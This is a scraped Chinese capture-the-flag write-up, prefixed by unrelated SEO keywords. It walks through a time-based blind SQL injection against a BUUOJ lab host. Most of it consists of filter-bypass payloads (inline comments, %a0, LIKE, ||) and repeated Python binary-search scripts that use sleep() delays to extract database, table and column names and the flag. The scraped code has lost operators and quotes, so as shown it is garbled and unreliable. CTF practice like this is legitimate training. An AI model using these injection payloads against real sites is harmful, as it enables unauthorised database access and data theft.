河北新亚建设集团网站,建站工具有哪些社区,网络设计有限公司,做图书馆网站的语言大致测试一下#xff0c;发现空格被过滤了 使用内联注释/**/绕过#xff0c;可行
1/**/-- 使用%a0替代空格#xff0c;也可以
1%a0-- 再次测试发现等号也被过滤#xff0c;我们使用 like 代替
#xff08;我最开始以为是and被过滤#xff0c;并没有#xff0c;如果是…大致测试一下发现空格被过滤了 使用内联注释/**/绕过可行
1/**/-- 使用%a0替代空格也可以
1%a0-- 再次测试发现等号也被过滤我们使用 like 代替
我最开始以为是and被过滤并没有如果是and或者or被过滤我们也可以使用 和 || 替代
1/**/1like2/**/-- 但是这里尝试了很多都只返回一个页面没有出现报错页面因此采用时间盲注利用sleep函数制造时间延迟由回显时间来判断是否报错。
基础知识介绍
if判断语句xy如果判断语句正确则输出X否则输出Y
sleep(n)延迟n秒后回显
常用判断语句
if(11,1,sleep(3)) // 11恒成立因此会输出1
if(12,1,sleep(3)) //12不成立则会执行最后的sleep函数延迟3秒后回显
当然我们也可以直接使用sleep()函数
1sleep(5)--
尝试之后发现这里好像还不能使用--注释因此我们换用#注释
1sleep(5)#
观察发现没有延时说明分号不是闭合符号 尝试数字型
1sleep(5)#
出现了很明显的延时现象证明语句闭合成功 开始写脚本先查一下它存在的数据库有哪些
构造payload
1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1)){mid},sleep(2),0)#
完整脚本
import time
import requestsurl http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?iddatabase_name
for i in range(1, 100):left 32right 128mid (left right) // 2while left right:payload url f1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1)){mid},sleep(2),0)#start_time time.time()response requests.get(payload).textend_time time.time()use_time end_time - start_timeif use_time 2:left mid 1else:right midmid (left right) // 2print(mid)database_name chr(mid)print(database_name)
注意在payload中一定要用 f 格式化字符串常量以确保 {} 中的内容比如{i}、{mid}在程序运行时会被表达式的值代替。
运行结果
发现存在一个名为 ctf 的数据库 接着我们查该数据库下的所有表
构造payload
1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/likectf),{i},1)){mid},sleep(2),0)#
完整脚本
import time
import requestsurl http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?iddatabase_name
for i in range(1, 100):left 32right 128mid (left right) // 2while left right:payload url f1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/likectf),{i},1)){mid},sleep(2),0)#start_time time.time()response requests.get(payload).textend_time time.time()use_time end_time - start_timeif use_time 2:left mid 1else:right midmid (left right) // 2print(mid)database_name chr(mid)print(database_name)发现只有一个名为 items 的表 尝试获数据库名为 ctf 下表名为 items 的列名信息
这里不能直接select *
构造payload
1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/likectf||table_name/**/likeitems),{i},1)){mid},sleep(2),0)# 完整脚本
import time
import requestsurl http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?iddatabase_name
for i in range(1, 100):left 32right 128mid (left right) // 2while left right:payload url f1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/likectf||table_name/**/likeitems),{i},1)){mid},sleep(2),0)#start_time time.time()response requests.get(payload).textend_time time.time()use_time end_time - start_timeif use_time 2:left mid 1else:right midmid (left right) // 2print(mid)database_name chr(mid)print(database_name)
发现存在三个列id,name,price 由于我们也不知道flag在哪儿所以查询这三列的具体字段信息
构造payload
1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1)){mid},sleep(2),0)#
注意这里查询的内容还是需要加上 group_concat()因为之前我做的一些联合查询有时候不需要加但是在这里我试了不行。
顺便介绍一下 group_concat()函数的作用
group_concat 首先根据 group by 指定的列进行分组将同一组的列显示出来并且用分隔符分隔将group by产生的同一个分组中的值连接起来返回一个字符串结果。
完整脚本
import time
import requestsurl http://f6337ab6-ed3c-472d-835f-3b756a55dd5d.node4.buuoj.cn:81/?iddatabase_name
for i in range(1, 100):left 32right 128mid (left right) // 2while left right:payload url f1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1)){mid},sleep(2),0)#start_time time.time()response requests.get(payload).textend_time time.time()use_time end_time - start_timeif use_time 2:left mid 1else:right midmid (left right) // 2print(mid)database_name chr(mid)print(database_name) 拿到 flag{217f2b74-cca0-4afb-be0b-2147f666d25e}
关于脚本的一些解释
利用二分查找进行时间盲注攻击 payload 是一个包含 SQL 注入攻击的 URL。这个 URL 是构建成这样的url 是你的目标网站的地址后面附加一个 SQL 注入语句。 time.time() 用于记录开始时间然后发起 HTTP GET 请求发送 payload 到目标网站。这个请求会执行 SQL 注入攻击。 发起请求后再次使用 time.time() 记录结束时间然后计算 use_time即请求的响应时间。 接下来通过比较 use_time 是否大于 2 秒来判断是否成功执行 SQL 注入。如果 use_time 大于 2 秒说明条件成立表示当前字符的 ASCII 值大于 mid。 如果条件成立将 left 的值增加 1否则将 right 的值减少 1从而更新 mid 的值。这是二分查找算法的一部分用于逐字符提取数据库名的字符。 最后代码将当前字符字符的 ASCII 值通过 chr() 函数转换为字符添加到 database_name 变量中并打印出 database_name逐步构建查询到的数据库名。
代码通过不断猜测每个字符的 ASCII 值来构建数据库名一旦一个字符的 ASCII 值被确定就继续下一个字符。当然这里的database_name只是一个变量名我们可以替换成其他的。